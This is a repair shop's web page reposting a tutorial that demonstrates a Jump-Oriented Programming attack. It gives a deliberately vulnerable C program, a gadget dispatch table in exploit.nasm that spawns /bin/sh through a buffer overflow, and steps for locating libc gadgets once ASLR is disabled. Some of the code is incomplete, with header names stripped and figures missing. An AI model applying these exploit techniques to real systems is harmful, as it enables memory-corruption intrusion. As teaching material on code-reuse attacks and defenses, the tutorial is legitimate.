锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
JOP代码复用攻击

作者: 佚名  日期:2018-07-14 13:06:57   来源: 本站整理

 最近,我在研究代码重用攻击与防御,在此过程中发现对于rop(return-Oriented Programming)的介绍有许多,但jop(Jump-Oriented Programming)却少有提及。即使有,多数也与rop混杂在一起。因此,我决定基于论文Jump-Oriented Programming: A New Class of Code-Reuse Attack完成一次演示。

 
一.什么是jop?
jop,全称Jump-Oriented Programming,中文译为面向跳转编程,是代码重用攻击方式的一种。在2011年,北卡罗来纳州立大学的Tyler Bletsch等人首次提出这一概念。其实际上是在代码空间中寻找被称为gadget的一连串目标指令,且其以jmp结尾。下图展示了jop原理。

 
Dispatcher是形如下列形式的代码块
pcßf(pc);
jmp pc;
pc可以是任意地址或寄存器,用其作为跳转目标。f(pc)表示对pc进行的操作,以下是一个例子。
inc eax;
jmp eax;
比如说首次跳转到了dispatch table的第一项,将会在执行一些指令后通过结尾处的jmp跳转回Dispatcher处,此时执行inc eax,eax值已改变,再次跳转就可以调到其他地方执行相应指令。而这些gadget的图灵完备性已被证明,也就是说,我们能通过这些gadget达到几乎所有目的。那么,让我们开始吧!
 
二.通过jop执行/bin/sh(简单版)
系统环境
主机OS      :     4.4.0-116-generic内核Ubuntu 16.04  i686
 CPU           :      Intel(R) Core(TM) i5-3337U CPU @ 1.80GHz
首先,我们来完成一个最简版本的jop攻击。
漏洞代码vul.c
#include   
#include   
#include   
#include   
#include   
#include   
#include   
  
char* executable="/bin//sh";  
char* null="";  
FILE * fd;  
  
void attack_payload () {  
asm(".intel_syntax noprefix");  
//dispatcher  
asm("add ebp,edi; jmp [ebp-0x39];");  
  
//initializer  
asm("popa; jmp [ebx-0x3e];");  
  
//g00  
asm("popa; cmc; jmp [edx];");  
//g01  
asm("inc eax; cmc; jmp [edx];");  
//g02  
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");  
//g03  
asm("inc ebx; stc; jmp [edx];");  
//g07  
asm("popa; call dword ptr [ecx];");  
//g08  
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");  
//g09  
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");  
//g0a  
asm("int 0x80");  
  
asm(".att_syntax noprefix");  
}  
  
void overflow() {  
  char buf[256];  
  fscanf(fd,"%[^n]",buf);  
  return;  
}  
  
int main(int argc, char** argv) {  
  char* filename = "exploit";  
  if(argc>1) filename = argv[1];  
  fd=fopen(filename, "r");  
  overflow();  
}  
在此版本的演示中,所有gadget均由内联汇编直接写入,无需在代码空间中寻找。
攻击最终要执行execve(“/bin/sh”,argv,envp),函数原型为
int execve(const char *filename,char * const argv[],char * const envp[]);  
若要通过int  80执行它,需要有四个寄存器的参与:eax寄存器传递系统调用号0xb,ebx寄存器传递“/bin/sh”字符串的地址,ecx寄存器传递参数argv,edx寄存器传递环境变量envp。为此需要合理设置eax、ebx、ecx、edx等4个寄存器的值。具体步骤如下 
 = 1 * GB3 ①popa ; jmp  *-0x3e(%ebx)
缓冲区溢出会在相应位置设置好数据,popa将会将栈顶所有数据弹出到相应寄存器,
栈帧指向buff字符串,然后跳转至攻击起始处,即第二步。
 
 = 2 * GB3 ②add  %edi,%ebp; jmp  *-0x39(%ebp)
这时攻击开始,此处ebp寄存器即对应图4.2.5中的PC,edi寄存器已在上一步被设置为偏移量-4,跳转到相应步骤,第一次将会跳到第三步。
 
= 3 * GB3 ③popa ; …… ; jmp *(%edx)
由于execve()的调用号为0x0000000b,包含’’,无法直接通过缓冲区溢出写入eax寄存器,所以将会分阶段写入。这一步中,将会用popa设置相应寄存器,为写入做准备,准备好一个中间变量,置为0xEEEEEE0b。将eax寄存器置为-1,并通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第四步。
 
 = 4 * GB3 ④inc %eax ; ……; jmp *(%edx)
这一步将eax寄存器加一,为后面的写入做准备,通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第五步。
 
= 5 * GB3 ⑤mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
此时ah=0x00,mov操作将把中间变量中的第5,6位0xEE置为0x00, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第六步。
 
 = 6 * GB3 ⑥ inc %ebx ; …… ; jmp *(%edx)ebx寄存器加一,为下一步设置中间变量做准备, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第七步。

 
 = 7 * GB3 ⑦ mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00,mov操作将把中间变量中的第3,4位0xEE置为0x00, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第八步。
 
 = 8 * GB3 ⑧ inc %ebx ; …… ; jmp *(%edx)
ebx寄存器加一,为下一步设置中间变量做准备, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第九步。
 
 = 9 * GB3 ⑨mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00,mov操作将把中间变量中的第1,2位0xEE置为0x00, 中间变量此时为0x0000000b,通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第十步。
 
= 10 * GB3 ⑩popa ;…… ; jmp *(%ecx)
成功设置中间变量后,再次设置相应寄存器,通过ecx寄存器跳转回第二步,执行之后步骤。
 
 ⑪xchg  %eax,%ecx ;……; jmp  *-0xf(%esi)
由于上一步需要ecx寄存器做跳转,故交换eax,ecx, 通过esi寄存器跳转回第二步,执行之后步骤。
 
⑫这个步骤无间接跳转,将会把eax寄存器设置为中间变量值0xb,然后传递系统调用号,此时ebx寄存器指向“/bin/sh”,陷入80中断,执行/bin/sh
exploit是由exploit.nasm文件生成的二进制文件,用作缓冲区溢出的输入。

需要注意的只是它的前21行。
将vul.c编译为可执行文件
gcc -g -fno-stack-protector -o vul vul.c
用gdb查看各地址

填入exploit.nasm
start:
; Constants:
base:                    equ 0xbfffef40           ; Address where this buffer is loaded under gdb
dispatcher:          equ 0x08048449        ; Address of the dispatcher gadget
initializer             equ dispatcher+5       ; Address of initializer gadget
to_executable:           equ 0x08048590        ; Points to the string “/bin/sh”
to_null:         equ 0x08048599        ; Points to a null dword (0x00000000)
buffer_length:            equ 0x100           ; Target program’s buffer size.
 
; The dispatch table is below (in reverse order)
g0a: dd dispatcher+52                    ; int 0x80
g09: dd dispatcher+43                   ; mov eax, [esi+0xc]          ; mov [esp], eax  ; call [esi+0x4]
g08: dd dispatcher+37                   ; xchg ecx, eax          ; fdiv st, st(3)      ; jmp [esi-0xf]
g07: dd dispatcher+33                   ; popa                         ; cmc                   ; jmp [ecx]
g06: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]
g05: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx]
g04: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]
g03: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx]

g02: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]
g01: dd dispatcher+14                  ; inc eax               ; fdivr st(1), st     ; jmp [edx]
g00: dd dispatcher+9                     ; popa                         ; fdivr st(1), st     ; jmp [edx]
生成exploit

gdb下运行vul,执行/bin/sh

 
三.进阶
以上例子可以作为jop的一个例子,但实际上不能真实反映其特点。jop 的gadget并不直接存在于当前存在的指令中,而是依赖于对于opcode的另一种解读,如glibc-2.19中,有如下源码:

但使用ROPgadget对其进行gadget提取结果如下:

实际从0x683c7处开始将其解读为
D5 FF            aad 0xff
FF                  jmp ecx
因此,我们需要去掉内联汇编,直接在代码空间中寻找gadget。
为此,我们需要使用ROPgadget工具。
sudo pip install ropgadget
我们将在libc中寻找gadget。查看其路径并进行查找。

在gadget.txt中就能查找到各gadget的相对地址。





 为了计算其绝对地址,我们关闭地址随机化。

显然有system_addr – system_libc = xx_addr – xx_libc
反汇编查看可得system_libc

gdb可打印system地址

则可计算各绝对地址,填入exploit.nasm.

再次生成exploit,gdb下运行。 

至此,演示以全部完成。
源码请自行下载https://pan.baidu.com/s/15CssPnl_Rv0VYCru3htF2Q
 

 



热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等